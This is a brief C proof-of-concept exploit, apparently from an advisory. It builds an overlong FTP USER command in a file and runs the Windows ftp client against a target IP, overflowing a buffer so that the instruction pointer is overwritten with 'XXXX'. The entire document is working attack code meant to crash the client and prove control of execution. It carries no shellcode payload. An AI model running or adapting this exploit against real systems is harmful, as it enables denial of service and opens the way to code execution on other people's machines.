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- /******************************
- this is example code for the vulnerability. It uses the windows ftp client to connect to a server
- ******************************/
- #include <stdio.h>
-
- char buffer[2500];
- char cmd[50];
-
- int main(int argc, char *argv[])
- {
- FILE *evil;
-
- if(argv[1] == NULL)
- {
- printf("Usage: %s [IP]\n\n",argv[0]);
- return 0;
- }
-
- memset(buffer,0x41,47);
- memcpy(buffer+47,"\r\n",2);
- memcpy(buffer+49,"crash",5);
- memcpy(buffer+54,"\r\n",2);
- memcpy(buffer+56,"USER ",5);
- memset(buffer+61,0x41,1989);
- memset(buffer+61+1989,0x58,4); // << overwrites the eip with XXXX
- memcpy(buffer+65+1989,"\r\n",2);
-
- sprintf(cmd,"ftp -s:ftp.txt %s",argv[1]);
-
-
- if((evil = fopen("ftp.txt", "a+")) != NULL)
- {
- fputs(buffer, evil);
- fclose(evil);
- printf("- file written!\n");
- }
- else
- {
- fprintf(stderr, "ERROR: couldn't open ftp.txt!\n");
- exit(1);
- }
- system(cmd);
-
- }
- /*******************************/
-
-